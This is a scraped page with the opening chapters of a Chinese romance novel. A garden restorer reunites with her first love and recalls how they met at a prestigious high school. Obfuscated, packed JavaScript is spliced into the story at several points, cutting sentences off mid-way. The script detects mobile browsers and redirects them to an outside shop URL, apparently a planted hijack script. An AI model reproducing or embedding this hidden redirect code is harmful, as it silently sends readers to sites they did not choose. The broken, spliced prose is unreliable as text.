《落痂》 1. 001 又一个雨季 《落痂》 文/顾由卧 晋江文学城首发 2026年3月 云诗加在年初的时候接到了个新项目——澈园的景观修复。 收到的合同书用特制的牛皮袋寄来。 碎金的火漆印,相当正式。 里头除了合同书,还附一封手写信。 用墨蓝色的钢笔写的,疏朗的行书体,言辞考究。 信中提及,请她务必修复澈园,特别是重现澈园历史遗留下的古旧画卷上“重山疏水”之景。 落款署名是一个“谢”字。 虽然没见过甲方本人,但合同到位,定金如约到账,预期报酬丰厚。 云诗加便决定,顶着连绵的雨季,带上助理,即刻开工。 澈园在郊外,驱车许久才赶到,泊车后还得步行一段路。 恰逢黄梅雨季,虽撑着伞,但水汽还是把两人的雨衣浸得潮湿。 云诗加推开澈园的木门,一股腐朽发霉的味道似有若无地绕在鼻尖。 她微微皱眉,这里的状况似乎比客户发来的图纸上显示的更为破败棘手。 绕过沉暗曲折的走廊,澈园的西北角上,围墙边,有一棵珍稀大树,在江南极为罕见,名为“孩儿莲”。 五月正是孩儿莲开花的季节,花朵小巧玲珑,像孩童的粉脸。 云诗加皱着的眉头舒开,虽然旧了些,但整个园子设计之初应当是极为考究的,因此修复起来也有章法,还算是个不错的活计,她已经有了修复设计的头绪。 “我先上去看一眼。” 云诗加站在孩儿莲下,展开攀树专用绳,老练地扣上安全扣。 助理金琳则用电子测高仪测算着这棵大树的主枝分叉点高度。 双脚蹬离地面,绳索与粗糙树皮摩擦发出沙沙声。 雨衣并没影响她的视线,越往上,风感也越明显,带着高处特有的凉意。 云诗加攀到了一处三叉支撑点,将自己固定在树干上,略作休息。 从这里俯瞰,透过连绵的雨雾,整座荒僻的澈园布局尽收眼底。 东北角是一方水池,池水绸绿腥臭,植物枯腐在池底。 云诗加眯眼,尚能辨认出,水池里曾种的是并蒂莲。 助理金琳往池边的假山石上一蹲,在平板电脑上勾勾画画,记录下今日勘察的内容,不时关注一下老板的动向。 顺着云诗加的视线,金琳惊喜地说道: “云总,这个水好像是活的!” 还真是。 云诗加顺着假山石堆砌下的暗流往澈园的围墙外看去——那是一片广袤的湖泊,湖面波光粼粼。 近岸处,围网划出了一方方规整的蟹塘。 围网间有一艘渔船正在巡视,似有两人站在船尾。 但隔着淅淅沥沥的雨幕,一切都很模糊。 “金琳,来,搭把手。” 从各个角度观察好这棵大树的状态后,云诗加决定下锯子,把影响整个园子天际线视觉的一根旁支锯下来,带回去做评估,若是条件允许,或许还能培植出一棵新枝。 粗枝从主干上断开,发出一声沉闷而干净的“咔”。 端口平滑,露出健康的浅色木质纹理,云诗加满意地点了点头。 顺着投掷绳,金琳在下方稳稳接住。 粗枝落入下方的板车中,发出“咚”的一声。 “噗咚——” 外面湖岸处,也随之传来一声闷响。 云诗加往声音处俯瞰,蟹塘间的那艘渔船上,其中一人不见踪影。 湖面泛起波澜,那人在水下扑腾,不像会游泳的样子。 船上的另一人或许一时慌了神,正徒手去够水下那人,后又抛去一个橙色救生圈。 云诗加没多想,顺着攀树绳索往下滑,一秒落了地。 她卸下主绳扛在肩上,往澈园的后门奔去,后门直通湖边小道。 金琳正用板车将锯下的粗枝往车上运,见老板往外冲,不解地问:“云总,怎么啦?” 云诗加:“没事,你运你的,我去救人!” 到了湖边,云诗加将攀树主绳一头拴在栏杆上,一头快速打了个环状八字结,像西部牛仔套索般在头顶旋转两圈,凭借多年抛掷投掷绳的准头,奋力将绳环抛向落水者。 “抓住绳子!套身上!我拉你上来!” 云诗加的声音洪亮而镇定。 落水者扑腾着套住救生圈,一手本能地抓住绳索,很快被拉至岸边浅水区。 那艘渔船也靠了岸。 船上那人身穿墨绿色的橡胶连体裤和同色连帽雨衣,从船上跨入水中。 浅水区不过大腿深,他将落水者一把捞起,扛到了岸边。 “人没事吧?” 云诗加气喘吁吁地问。 狂奔和拉绳索让她的心跳快到像要从胸腔里飞出来。 她出声的瞬间,捞人的那位一下抬起头。 雨突然下大了。 云诗加抹了一把脸上的雨水,直到对方走到面前,她才看清了墨绿色雨帽下的那张脸。 那张熟悉的,怀念的,她午夜梦回时,总会想起的脸。 舒洛原。 湖边的风声与一切嘈杂像是被过滤掉了,渐渐弱了下去。 她的耳边只剩自己的心跳声,比刚才更快、更剧烈,像被莫须有的雷电击中了一般。 咚咚、咚咚。 她觉得莫名有些眩晕,像第一次登高爬树时的那种高空恐惧感,只能僵直在原处,任由心跳脱缰。 于是,她站在原地,僵硬地瞧着。 舒洛原将落水那人放倒在地上。 那人穿了救生衣倒是没呛到什么水,从惊吓中回过神来,开始呼痛:“哎呦哎呦,我的手好像断了!” 舒洛原条件反射地摸向口袋,却想起手机被落在办公室里,没带上船。 于是他向她茫然地求救: “能帮忙打个急救电话吗?” 云诗加深吸了口气,提议道:“我的车就在那边,直接送医院吧。” 她打电话给金琳,让她把车开过来。 金琳很快把车开到岸边。 云诗加为了工作需要,买的是辆二手日式皮卡车。 也顾不上许多,落水者浑身湿透,手臂疑似骨折,腿上也有擦伤,只能将他湿淋淋地放平在后座。 后座还有些堆积的杂物,坐不下第二个人了。 金琳负责开车。 云诗加打开副驾驶的门,看了眼身后的男人,欲言又止。 舒洛原因为刚才扛人,雨帽掉落在肩上,露出侧脸利落的线条。 但与这张脸相配的,却是一身墨绿色的橡胶工作服,满身泥点,狼狈不堪。 他也没矫情,朝她点了点头,从皮卡的尾部直接翻身上了运货的车斗。 车斗是没有顶的。 他压低了雨帽,催促道:“走吧。” 去医院的路上,云诗加透过中央后视镜,看着车斗里的那个背影。 跻身在灰硬的板车和硕大的切枝之间,他只能蹲坐在车斗一侧,微微佝偻起背部。 透过潮湿的玻璃,那个墨绿色的背影,随着皮卡车的晃动而左右摇晃,像灰暗森林中的火琉璃树,绿油油的,泛着白亮亮的光。 云诗加有些恍惚。 仿佛又回到了那一年。 他挺阔的身躯压上来,汗津津的,热烘烘的,在暗处用他的唇找她的脖颈。 她的眼里有泪,看不清其他。 只模糊记得他目光幽幽,让她误以为是情根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一道狰狞的疤痕盘踞在他的掌根处,蜿蜒至手腕和小臂,掩藏在袖口下,像一条吐着信子伺机而动的蛇影。 云诗加的睫毛微微颤动。 她抬笔,避开那道疤,将十一位数字写在他的掌心,触到他掌根的指尖微微发烫。 她写得很快,歪歪扭扭。 “好了。”她轻声说。 那只手从她的视线里挪出去。 她的余光只能看见雨水沿着他的雨衣下摆流下来,在他的橡胶鞋旁汇成一滩,橡胶鞋往后退了一步。 云诗加不动声色地关上车窗。 窗缝合拢之前,舒洛原的声音从缝隙间溜进来:“下次见,加加。” 二手皮卡车滑入城市车流,沉默在车厢里流淌,路口的绿灯跳转红灯,红色灯影笼在她的脸上。 她戴上耳机听歌,躲避金琳朝她瞟来似有若无打量的眼神。 耳机里的歌词突然闯进她出神的思绪里,“满脑回忆又再次浮现,有些面孔好久没见……” 他说下次见。 她嘲讽地笑了笑。 曾几何时,每次分离的时候,他总爱把她压在冷硬的门板上,喘着灼热的粗气,在她耳边问,加加,下次什么时候见。 那时候,她总会颤抖着拥住他精瘦的腰,把头埋在他的颈窝里,贪恋一点温存,然后一遍又一遍地告诉他: 舒洛原,只要你想见我,我随时都会出现在你面前。 2. 002 梅香如故 2016年的寒假。 云诗加捡到了一张校园卡。 校园卡上印着证件大头照。 灰扑扑的色调,深蓝色的背景,卡面磨损,照片随之变得模糊。 那是一张精心雕琢过的脸—— 脸颊没有多余的肉,勾勒出分明的棱角,鼻梁挺直,深灰色的眼眸,掩在薄薄的无框镜片后面。 唯一浓郁的是他的眉毛——浓郁得像被墨描过一样,郁郁葱葱,这使得他的眼睛上仿佛笼罩了一片树林,让整张精瘦的脸显得不那么刻薄,平添了一股奇异的、野草般的少年生气,像风刮过的林浪。 照片的左侧印着三行字: 梅理中学 高三(1)班 舒洛原 校园卡是下午一点在状元街的人行道上捡到的。 云诗加是一点半走进的梅理中学。 她本想把这张遗失的校园卡交给梅中的保安。 但正值午休,岗亭里正在打盹的保安只看见她高举着一张校园卡,就迷迷瞪瞪地打开了门禁,挥了挥手让她进去。 云诗加在围墙外不止一次打量过梅理中学的建筑。 门口有一条长长的甬道,两排郁郁葱葱的树木夹道,常有三三两两的同龄人穿着梅中的校服面带笑意地跨进这所百年老校。 她时常好奇,这么长的甬道尽头,是什么。 机缘巧合进来了,她便顺着甬道往里走。 柏油路平整洁净,阳光透过树叶的缝隙投下来,亮晃晃的,让人睁不开眼睛。 她眯起眼睛,晃悠悠地往前走,不知不觉竟已到了甬道的尽头。 一方不大的灰白色小广场,几面旗帜,几盆花草,一个喷泉,两座雕像。 广场是中轴线,两侧是两幢对称的红色小楼,古朴的红色砖墙,米白色的屋顶,在阳光下闪着细碎的光芒。 不知是名校崇拜的心理作用,还是别的什么原由,云诗加仰着头赞叹,觉得梅理中学格外的好看,和青田中学灰扑扑的校园建筑完全不是一个风格的,简直天差地别。 “叮铃铃——” 上课铃响了。 偌大的校园突然安静下来,后头两个学生抬着一箱作业本快步走过,云诗加侧身避让。 从她后头,又匆匆跑近几个晚到的人影。 其中有一个格外高挑。 亮白色的休闲鞋,白得发光的卫衣,袖子卷起来折到手肘上,灰色长裤随着他的跑动晃成了虚影,浓黑的短发在阳光下衬得柔软蓬松。 他与她擦身而过,几步就跨上了红楼的台阶,穿过一楼的走廊,消失在高三(1)班的门牌下。 云诗加眨了眨眼睛。 她好像找到校园卡的失主了。 她绕到了红楼的后头,是一片草坪,顺着窗户数过去,高三一班是最后一间教室。 她打算把校园卡塞进他们班的窗缝里。 整个红楼建筑是垫高的,她踮着脚才能勉强用手指尖够到教室的北侧外窗台。 其中一扇窗户漏着一条缝,里头的女老师正在讲解刚刚结束的期末全市联考的卷子。 “这次联考,选择题最后一道很难,有两个陷阱,即使避开一个陷阱,也容易掉进另一个里,整张英语卷子,全市正确率最低的就是这道题,我们班有哪些同学选对了答案C,举个手我看看……” “嗯,OK。好的放下吧,就连我们班,正确率也没到一半。” “舒洛原,你选对了,来跟大家说说你的思路。” 听到这个名字,云诗加的手一抖,刚够到窗台上的那张校园卡掉落下来,顺着她的后脖颈,砸进她的毛衣里。 冰凉的触感滑过皮肤,她一阵瑟缩。 里头男生的声音也像簌簌积雪从树梢掉落,清清冷冷的,回答言简意赅,但她却莫名听了进去。 “过去完成时排除A,非限制性定语从句排除B,虚拟语气排除D。” 从背后的毛衣里捞出了那张校园卡,云诗加顺势坐在了靠砖墙的一块石头上,卸下了书包,从里头掏出联考卷子。 对着原题一悟,豁然开朗。 她在期末的联考中,考了青田中学的第一名。 考完试,学校便放了寒假,没有老师讲卷子。 青田中学从来没有寒假补课的说法,周末双休,也没有晚自习,纯放养模式。 当然,与之相配的是全市最底层的一批生源,以及每年垫底的高考成绩,本科上线数都寥寥,更不要说重本了。 云诗加中考的成绩还算不错,顶级中学的尖子班或许够不上,但进普通班还是绰绰有余的。 她妈不懂学校好坏,觉得青田中学离家近,方便走读,她爸贪图青田中学许诺的奖学金和免学费条例。 她便稀里糊涂地进了青田中学。 等她意识到自己走偏了时,一切都已经来不及了。 青田中学不止学生混日子,老师也是在混日子,觉得他们朽木难雕,只慢吞吞地照本宣科,教案好几年没更新,只会讲解最基础的知识点,下课铃响便掉头就走。 遇到难题怪题,云诗加只能用手机搜索,能在网上搜索到讲解还算好的,搜不到的便只能自己悟。 这次模考的英语选择最后一题,就是搜不到讲解的题目之一。 没想到,捡到一张校园卡,竟让她得以进入到梅理中学,在窗台下听到了讲解。 这算是……对她好人好事的回报吗? 云诗加把厚本子垫在膝盖上,将卷子铺开,拿出红笔,跟着窗户中漏出的课堂讲解,对每道题都进行了详尽的记录。 下课铃响时,她甚至觉得意犹未尽。 十分钟的课间,整个校园的气息都热闹了起来。 有几个男生抱着篮球从红楼后的草坪上穿过,往操场跑去,对着静坐在石头上的云诗加投来打量的一眼。 云诗加抱着卷子和书包站起身,左右观望,想让自己的举动看起来没这么奇怪。 “哗啦”一声,高三一班靠北的一扇窗户被打开透气,教室里温热浑浊的空气溢出来,她听见里面靠窗的两人在交谈。 “下节什么课?” “好像是物理吧。” “哦,物理老头要干嘛?” “估计也是讲联考的卷子吧。” “无聊,懒得听,那我只能刷题了。” “喂,你考了满分当然不用听,也太炫耀了吧!” “切,你也就扣了一分。” “你是物理学神,我肯定不如你。” 云诗加有些艳羡,原来好学校的同学们之间会比较成绩,而不是比较谁谈的恋爱更多、谁抽的烟更贵。 “喂,你俩谁校园卡借我一下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他惊讶而歉意地瞪大了眼睛。 “对不起,同学……我不知道……” 云诗加抹了一把脸上的水珠,眨了眨眼睛,仰着头,视线模糊地对上窗口那双眼睛。 那是他与她的第一次对视。 也是他们故事的开始。 其实那一天,她背着书包,包里装着复习资料,本打算去市图书馆自习。 市图书馆就在梅理中学的斜对面,下了公交车,她本该沿着马路继续往前走,到了路口往右拐弯就是目的地。 但偏偏那天,她在公交车上远远看到,站台旁的民居围墙后头,伸出一枝粉白的梅花,开得极好。 她便突然起了闲心,下了公交右拐,往巷子里钻进去,想看看那枝梅花的全景。 但围墙高高,她没看到。 倒是从巷子里钻出来,进了梅理中学后门的那条状元街,在人行道上捡到了那张校园卡。 后来,她用了很多年的网名昵称“梅香如故”,头像是一树盛开垂枝的粉白色洒金梅。 常被不熟悉的人误以为账号背后是一位中年人,她也只是笑笑,并不解释。 没有人知道,如果没有对那一枝梅花的无意间一瞥,那她之后很多年的人生,或许会是一段完全不一样的故事。 而不是一段说起来很长很长的、让她止不住笑着流泪的故事。 3. 003 她不喜欢将就 云诗加的前十七年,过得太过平淡,说起来就是几句话的事。 不过就是按部就班地上学、考试,父母说什么便是什么。 她爸陈明华是个厨师,开了家小饭馆,生意还算不错,但没事喜欢去打牌,牌技极差,运气也不好,余下的钱只能勉强糊口。 她妈云画是个天真单纯的女人,那个年代少有的独生女,被宠着长大,一辈子没受什么苦,但也没什么斗志,混了个街道服务办的合同工,拿着微薄的工资喝茶看报,整天和同事绕着家长里短碎嘴。 所以,云诗加从小就过得很将就。 吃穿用度很将就。 家里经济一般,云画执拗于省钱。 吃的是饭馆剩余的料头,穿的是亲戚家表姐穿过的旧衣,家里用的是年纪比云诗加还大的家具。 学习很将就。 父母眼界不高,对她的学习成绩没什么太高要求,觉得女孩子不用读书太多,凑合就行。 交友很将就。 没有零花钱,自然也没什么朋友,少有的空闲时间都在饭馆帮忙,没有空出去玩。 一起住在筒子楼的发小家里赚了钱搬家了,越来越少联系。在学校里,跟谁做同桌便跟谁要好一些,但离了学校,也没什么联系。 云诗加是家长最喜欢的那种孩子类型,乖巧、文静、懂事,没有叛逆期,不需要费心。 但没人知道,她最讨厌将就。 她从高一开始,对学习格外认真,对她而言,这是一种反叛。 这种反叛的起因很简单—— 曾经住在她家楼下的一个姐姐,考上了清大,毕业后留在了京市,回来看外婆的时候,一身靓丽的时装,持着最时髦的手机,给邻里街坊都送了水果零食感谢往日的照应。 那个姐姐挨家挨户送礼时,云诗加就透过楼梯转角的缝隙偷偷看着。 她也想成为这样的姐姐,买最时髦的衣服,用最好的手机,大方地送礼。 在她的认知里,最直接而正确的选择,就是考上一个很好的大学,去大城市。 她开始拒绝去陈明华的饭馆里帮忙,把课余的精力都投入在学习上,父母虽然不在意成绩,但也知道高考重要,便由着她。 每到假期,就从饭钱里省出两块钱,坐公交到市图书馆来自习。 市图书馆靠窗的那排位置,可以透过窗户看到梅理中学的大门,听说里面的学生重本率可以达到百分之八九十。 云诗加对此很是神往。 梅中的学子,在她眼里也仿佛比其他人多长了一对触角,可以接通别人看不见的学习天赋信号波。 所以,当那瓢水浇在她脸上时,她选择了落荒而逃。 气喘吁吁跑出梅中的大门,水已经蒸发干了,脸颊的表面是冰冷的,但内里却红彤彤的发着热。 她捂着脸上了回程的公交车,突然意识到,那张校园卡还在她口袋里。 第二天,云诗加早早来了梅中,混入了进校的人流中,又坐在了红砖墙下的那块石头上。 最后一排的窗户半开着,老师的声音比昨天更清晰。 她想,等她听完模考所有科目的试卷讲解,她就把校园卡还回去。 但还剩一门化学没听完,就有第二个人发现了她。 “这位同学,你在做什么?” 一个矮瘦的年轻老师突然出现在墙根后。 云诗加惊得站起身,把手中的笔记和试卷藏在了身后,嘴皮翕动,一时说不出话。 “可以给我看看吗?” 那个老师向她伸出手掌,云诗加犹豫着把笔记和试卷交了出去。 她本以为自己是孔乙己,面对责问,只能怯懦说出“读书人的事怎么能叫偷呢”,但想象中的场景并未发生。 这位老师将她带回了办公室,云诗加低着头站在办公室中央,数着地上的瓷砖,却听见老师温柔地问她: “我叫卢飞雁,你叫我卢老师就好,我是高三一班的班主任,教语文。正好我们班后面还有一个空位,你直接进去听课吧。” “啊?”云诗加讶异地抬头,看着卢飞雁老师脸上温和的微笑,简直不敢置信。 “还有一位同学也在我们班里插班补课,你就跟她坐在一起好了,这么冷的天,在外面蹲着怪可怜的。你叫什么名字?” “我叫云诗加。” “嗯,很好听的名字。” 卢飞雁笑意晏晏,让云诗加渐渐放松了下来。 课间,卢飞雁领着云诗加,从高三一班的后门进去,让她坐在了最后一排靠南侧走廊的位置。 同桌是一个圆脸短发的女孩,对她笑了笑。 前排几个同学也好奇地往后打量了一眼,但都没说什么,又低头学习了起来,仿佛对短暂停留的人多加关注,是一件浪费时间的事情。 云诗加轻轻放下书包,不自觉侧头,看向这一排最靠北侧的那个位置。 他今天穿了一件棕色的麂皮外套,正撑着侧脸往北窗外看景发呆,并未对新来的同学投以关注。 同桌向云诗加伸出了友善的手,“你好,我叫涂玉棋,隔壁三中的,你也是来插班补习的吗?你叫什么?” 云诗加轻轻握住了涂玉棋的手,“我叫云诗加,青田中学的。” 说到学校,她越发小声,好在上课铃声覆盖了她的轻声细语。 涂玉棋很外向热情,下午有一个大课间,她主动提出陪云诗加去复印教材,梅中的许多教材和习题都是教研组单独编写的,打印在A4纸上,复印给学生们。 涂玉棋领着云诗加熟门熟路去了小卖部的打印室,把自己的册子借给她复印了一份。 走回教室的路上,云诗加抿着唇感谢,涂玉棋挥着手让她别这么客气。 “幸好你来了,不然就我一个人做插班生,可尴尬了,也没人跟我说说话,把我憋死了。” 涂玉棋已经自来熟到勾住了云诗加的臂弯,云诗加微微僵硬,但没好意思拒绝。 云诗加:“他们……都不跟插班生说话的吗?” 涂玉棋:“哪有空呀,都忙着刷题呢,来这儿之前,我以为我们三中算是学习氛围很好的了,没想到梅中更是变态级别的,简直是拼命,好多同学放学以后还要去校外的补习班呢,都想拼那几所顶级大学。” 走进教室前,涂玉棋把头凑近了她的耳边悄声问道:“欸,你爸妈给教导主任送礼了吗?送的什么呀?” 云诗加发愣,“教导主任?” 涂玉棋挠了挠头,问道:“不是教导主任吗?那是认识校长?” 有人正从教室后门走出来,两人忙缄口。 走出来的正是舒洛原。 他手上拎着垃圾袋,在门口绅士侧身让两个女生先进,等她们进了,朝她们点了点头,才往门外走去。 云诗加没忍住,回头看了一眼。 走廊上的那个人,身形清瘦挺拔,比其他人都要高出半个头,明明拎着黑色垃圾袋,却像提着什么高档装饰包一样利落有形。 “你也觉得他蛮帅的吧?”涂玉棋突然凑在她耳边坏笑。 云诗加回神,坐在位置上把刚打印好的资料整理分类。 “舒洛原跟我们可不一样,”涂玉棋自顾自说道,“他物理竞赛拿了奖,已经拿到清大的降分政策了,只要高考考到本一线,就能稳进清大了,本一线对他来说应该是小菜一碟吧。” 清大。 云诗加手上一顿。 一个遥不可及的名词。 “哦,那很厉害了。” 云诗加淡淡回应了一句,试图弱化心中的起伏,做一个无关紧要的旁观者。 梅中寒假的课程和平时不太一样,因为天黑得晚,早一节课放学。 云诗加拒绝了涂玉棋一起去公交站台的邀约,特意留下来磨蹭。 她想把那张校园卡还给舒洛原。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342268|199400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她埋在书桌前,手上假装在草稿纸上勾勾画画,不敢明目张胆地窥探北侧的那个人,只能把头发垂下来,透过发丝间隙,偷偷瞥过教室的那一角。 舒洛原的同桌是个高高胖胖的男生,说话嗓门很大,把书包甩在肩上,问舒洛原:“你还不走吗?” 舒洛原微笑着说:“高胜寒,你先走吧,我等我爸来接。” 高胜寒点头:“哦,行吧,拜拜,明天见。” 高胜寒走了以后,教室里就只剩下云诗加和舒洛原两个人了。 云诗加暗暗深吸了一口气,忙不迭站起身,从温热的外套口袋里,把那张已经染上她体温的校园卡拿了出来。 “抱歉……”她说。 “抱歉……”他说。 异口同声。 云诗加飞快地抬头看去,与少年的目光交触,他不知何时也站起了身,手肘轻轻落在光洁的窗台上。 他身后的北窗是半开着的,年末的凉风从窗口灌进来,把他书桌上的本子翻得哗啦响,他的发丝也在凉风中显得格外清爽。 云诗加感觉自己的心脏正在不受控地舞蹈,像是为了庆祝他们这微小的默契。 不是“对不起”,也不是“不好意思”。 而是“抱歉”。 真奇怪,这种悸动像野草一样,顺着风便长起来了,明明只是一句碰巧相同的话而已。 “上次我偷懒,本来想把水壶里的水浇在草地上,却不小心倒在你身上了,我很抱歉,但还没来得及道歉,你就走了。作为补偿,如果有需要的话,我可以把复习资料借给你,或者……你有什么需要帮助的地方,也请尽管开口。” 他说得很慢很淡,虽然隔着大半个教室的距离,但落在云诗加的耳朵里,却像他在耳边呢喃细语。 “没关系,是我不应该躲在墙角的。” 云诗加睫毛微颤,抬头努力直视他的眼睛。 “墙角也是公用的,谁都可以在那里。”他说。 她看见他笑了,像风吹波澜在水上漾开,云诗加学着勾了勾唇角,努力让自己也笑得很自然。 他又问道:“但你为什么抱歉?” 云诗加把早就准备好的说辞背了出来: “我那天在路上捡到了你的校园卡,随手放在包里,后来忘记了给你,没有校园卡应该进出校门都很不方便吧。” 舒洛原又笑了笑:“那我得感谢你才对,你不需要抱歉。” 云诗加摇了摇头,“如果我没捡起来,说不定你原路找回去,早就找到了。” 舒洛原一手插在裤袋里,一手撑在书桌上,突然轻笑出声: “我发现……你的逻辑很不一样,好事都被你说成坏事了。校园卡我早就去补办了,补办很方便的,你不用还给我了,你手上这张应该已经失效了,帮我扔掉吧。” “嗯?” 云诗加捏紧了手上的卡片。 “早点回家吧,不早了。” 舒洛原没有带书包,空身从教室后面的空地走过,出了后门。 云诗加抚着胸口,坐回了椅子上,等待心跳平静下来。 但走廊那人突然从南侧窗口探进来,云诗加侧头发现一张放大的脸出现在眼前,他们之间只有短短一臂的距离。 她的呼吸骤停了一瞬。 “对了,我桌上的笔记借你好了,随便用,不用客气。” 舒洛原似乎才想到什么,他指着自己的书桌说道。 “呃,呃……好,谢谢。” 云诗加觉得有些缺氧,几乎不敢呼吸。 “对了,你叫什么?” 他的目光扫过她,歪头问道。 “云诗加,诗歌的诗,加减的加。” 她捏紧了手中的草稿纸,条件反射地回答道。 “我叫舒洛原,很高兴认识你。” 说完,舒洛原便摆摆手走了,没有听见她心里的那句——我也很高兴认识你。 4. 004 不咸不淡 深夜,诗加园艺艺术工作室只剩一人,与昏黄台灯一盏。 打印出来的澈园初稿图纸被蒙上了一层透明硫酸纸,云诗加正执铅笔在上面圈圈画画,三两笔勾描便定了第二稿的形。 虽然已经做了老板,但很多项目她还是更喜欢亲力亲为。 在电脑上敲完了第二天的工作安排,云诗加站起伸了个懒腰,收回手臂时,手肘误触到鼠标,点开了网页上的同城新闻栏。 其中有一栏吸引了她的注意。 【人物访谈:蟹二代创业者用品牌运营与科技赋能实现产业突围】 封面图是一张人物照片。 清晰的面容轮廓,幽黑的眼眸直视镜头,身后是波光粼粼的万亩蟹塘,而他是这个王国的主人,眼里坠含着细微的光。 和那日重逢的狼狈不同,他在照片里穿着一身灰色的休闲西装,每根发丝都被利落地整理起来,没系领带,衬衫领口微微敞开,不算太过隆重,但站在细雨纷飞的蟹塘围网前似乎刚刚好。 搁置在工作台上的手机嗡嗡一振,云诗加从电脑上收回视线,点亮了手机屏,通知栏上沿弹出一条最新的消息:【洛请求添加您为好友。】 云诗加盯着屏幕发怔,指尖迟迟没有落下。 身体里的细胞仿佛在疯狂挖掘回忆里的战栗与沸腾。 一个人要消失在另一个人的世界里,就像一滴水落入海洋,就算再找回,往往也不是原来的那个人了。 但偏偏命运的安排是,将那个人重新带回你的面前。 一瓢水烧干了、蒸发了,那滴水重新凝结在你的眉间与心头,让人不得不燃起新的希望—— 也许就是那日投入海洋的那滴水呢? 回到家里洗漱完已是半夜,挂钟的指针刚过十二点。 云诗加窝在床的一缘,盯着天花板企图入睡。 外头洗衣机正在轰隆隆地运转,搅得她心烦意乱,更是睡不着。 有些事情也像滚筒洗衣机里的衣物一样,在她脑子里上下左右来回翻滚。 偏巧,放在床头柜上的手机屏幕又亮了。 她拿起一看,是涂玉棋发来的信息,问她要不要一起去参加梅中的校庆。 说起来也是一段奇缘,涂玉棋和高胜寒马上要结婚了,还邀请她去做伴娘。 两人在高三时甚至互相看不对眼,但出了社会,一个在做小学老师,一个考上了公务员,经由介绍人相亲又联系上了,一来一去还真看对了眼。 涂玉棋和云诗加保持着一种不咸不淡的朋友关系,联系频率不高。 多数是涂玉棋找的她,约出来吃饭也都是涂玉棋不停地找话题聊,云诗加只默默听着,她有时也疑惑这种单向的友谊是怎么维持的,但涂玉棋明显乐在其中,她是个永远不会嫌朋友多的人。 涂玉棋和高胜寒的姻缘,云诗加也算是全程见证并参与了——涂玉棋相亲的那一晚,就大惊小怪地给她打来了电话:“你猜我今天相亲遇到了谁!” 云诗加还没来得及猜测,涂玉棋就像倒豆子一样,不吐不快,连他们相亲吃的几道菜都交代得一清二楚。 最后,涂玉棋还问她:“你觉得这是不是一种缘分?” 云诗加想了想说:“同样是回到苏城工作的人里,你们年龄相仿,而且圈子不大,遇上也不是什么小概率事件。” 当时说完这话,云诗加不免想到了另一个人。 再遇见舒洛原应该能算是一件小概率的事。 这次校庆,她第一反应就是想拒绝涂玉棋的邀约。 她们俩,一个是三中的,一个是青田的,虽然在梅中借读过一学期,但怎么算也不能划到梅中校友的行列。 但她的指尖刚打了两个字,涂玉棋又发来了一连串轰炸式信息: 【老高在他们班群里看到,听说这次舒洛原也要去?】 【好久没见过他了,不知道是不是还跟以前一样帅啊?我好奇死了!】 【老高让我陪他一起去,你跟我一起去一下吧,不然我作为唯一的假校友也太尴尬了。】 云诗加的指尖在舒洛原的名字上停滞了片刻,最终回了个“好”字。 回复完,她索性点开下方的好友申请,一并点了同意。 不过是回到故乡的前男友,抬头不见低头见,她还能永远避着他不成? 想通了,也就睡得着了。 云诗加一觉睡到了大天亮,谁知助理金琳在她闹钟还没响之前就打来了电话。 “老板!你不是让我叫工人先去清理杂草吗?我刚从澈园那边回来,我听到了一个很可怕的消息,隔壁蟹塘好像要扩建啊,那我们澈园那个活水不就彻底断了吗?” 金琳的大呼小叫从听筒里传过来,震得云诗加本就没睡醒的脑子嗡嗡的。 她坐起身,拿起床头的水润了润嗓子,慢慢说道: “什么时候的事情?你慢慢说,不着急,他们也不能一天就把水塘全部都填了。” 金琳激动起来,讲得有些语无伦次,但云诗加多少也听懂了。 她安抚道:“你先忙手上的工作吧,不着急,等我过来再说。” 金琳笑说:“有云总在,我们这帮人什么都不用担心!只要跟着您好好干就行!” 云诗加开了扬声器,一边刷牙一边隔着手机笑骂道: “别的没学会,拍马屁倒是一套套的。” 挂了电话,她漱了漱口,吐掉了泡沫,在脑袋后把凌乱的头发随手扎了个丸子头,用手捧着温水低头洗净了脸。 抬起头时,水珠还在脸颊上顺着往下淌,她定定地看着镜子里的自己,出神了片刻。 丸子头是十八岁的云诗加最喜欢的发型。 扎得高高的,用粗发圈固定,再在发顶别几个素净的发卡。 一是因为干净利落,低头刷题时视线里没有发丝遮挡。 二是因为…… 舒洛原曾经说,她扎丸子头很可爱。 虽然说这话的场景,并不是那么可爱。 云诗加在卢飞雁老师的准许下进入了梅中插班补课。 她回去告诉了父母这个消息。 初时她妈云画还不敢相信,以为女儿被什么骗子给骗了,进入梅中听课对于苏城的普通学子来说简直天方夜谭,但云画细细听了女儿说的前因后果,半信半疑地接受了。 云诗加还说了涂玉棋家长给教导主任送礼的事。 彼时的她虽然还不太懂人情世故,但也有样学样,觉得不能让卢飞雁老师吃亏,便央求云画也去给老师送礼。 云画拗不过她,答应了下来。 但在云画的传统认知里,送礼应当是家里的男人去的,便让云诗加他爸陈明华去,谁知陈明华听了,只靠在沙发上拍着肚子剔牙摆手,说怎么能干这种偷偷摸摸的事情。 无奈,爱女心切,云画便买了两盒她认知里上好的茶叶,领着云诗加,临近过年时,找到了卢飞雁老师的办公室。 母女俩心虚地在办公室的窗口外偷偷觑着,只等其他几位老师都下班了,才探头探脑地进去了。 卢飞雁老师得知云画的来意后,双手连连推拒: 